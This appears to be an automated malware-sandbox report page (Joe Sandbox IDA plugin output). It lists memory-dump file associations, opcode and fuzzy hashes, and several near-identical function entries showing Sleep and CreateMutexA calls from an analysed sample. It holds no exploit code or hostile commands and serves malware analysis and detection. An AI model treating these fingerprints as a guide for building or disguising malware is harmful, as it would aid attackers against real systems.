Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000D0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585085306.0000000000D23000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585132448.0000000000D25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585161652.0000000000D39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585190309.0000000000D3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585227914.0000000000D3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585268527.0000000000D3F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585308930.0000000000D41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585339169.0000000000D4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585371552.0000000000D50000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a40000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cfceb2556376cd7e83995633e24e55ea1bb97fd9ad6b70d849f2fc6aadb3111f
Instruction ID: 32b42f8d594989c0d61a613015a2e180ae1ce30fe5b8d29ef60b1df8afe7e858
Opcode Fuzzy Hash: cfceb2556376cd7e83995633e24e55ea1bb97fd9ad6b70d849f2fc6aadb3111f
Instruction Fuzzy Hash: 01318B327401048BFB18DBBCDD897AEBB62EBD6314F208718E414D73D6C77599848752

Function 00A4A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000D0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585085306.0000000000D23000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585132448.0000000000D25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585161652.0000000000D39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585190309.0000000000D3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585227914.0000000000D3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585268527.0000000000D3F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585308930.0000000000D41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585339169.0000000000D4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585371552.0000000000D50000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a40000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a9b0115facbc37b957573e7550a661796834ba58bd6bbd49f4a627fed9e81c6c
Instruction ID: a083f2e5227f7fb114022a2e8062fac6d2ff17936327d02898b2f3466b35ff8c
Opcode Fuzzy Hash: a9b0115facbc37b957573e7550a661796834ba58bd6bbd49f4a627fed9e81c6c
Instruction Fuzzy Hash: 353166317801009BFB18DBBCCD857ADBB62EBE6314F208718E014D77D6C77699848712

Function 00A4A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000D0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585085306.0000000000D23000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585132448.0000000000D25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585161652.0000000000D39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585190309.0000000000D3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585227914.0000000000D3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585268527.0000000000D3F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585308930.0000000000D41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585339169.0000000000D4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585371552.0000000000D50000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a40000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 551baf3e040e619bdf779f692a8ef42ddcd08eba32d76526ce7f0b139650b0b3
Instruction ID: 1e2a258aeab8ac0f18d006ea3db67019909664b20f7acb3d8e964df861345962
Opcode Fuzzy Hash: 551baf3e040e619bdf779f692a8ef42ddcd08eba32d76526ce7f0b139650b0b3
Instruction Fuzzy Hash: 8C3126317801409BFB18DBBCDD897ADBB62EBE6314F248718E414D73D5C7B699848712

Function 00A4A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000D0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585085306.0000000000D23000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585132448.0000000000D25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585161652.0000000000D39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585190309.0000000000D3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585227914.0000000000D3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585268527.0000000000D3F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585308930.0000000000D41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585339169.0000000000D4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585371552.0000000000D50000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a40000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7f0271570c53adea500280d136b11d67cfb16f4793efc18fabc03ede8df4f8a2
Instruction ID: 46f9915951d36fad180988d042df84bf7a3134781a1c73ac2b27b69a8a0eeec4
Opcode Fuzzy Hash: 7f0271570c53adea500280d136b11d67cfb16f4793efc18fabc03ede8df4f8a2
Instruction Fuzzy Hash: 463168317801009BEB18DBBCDD89B6DBB62EFE2314F248618E014DB7D6C7B559848752

Function 00A4A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
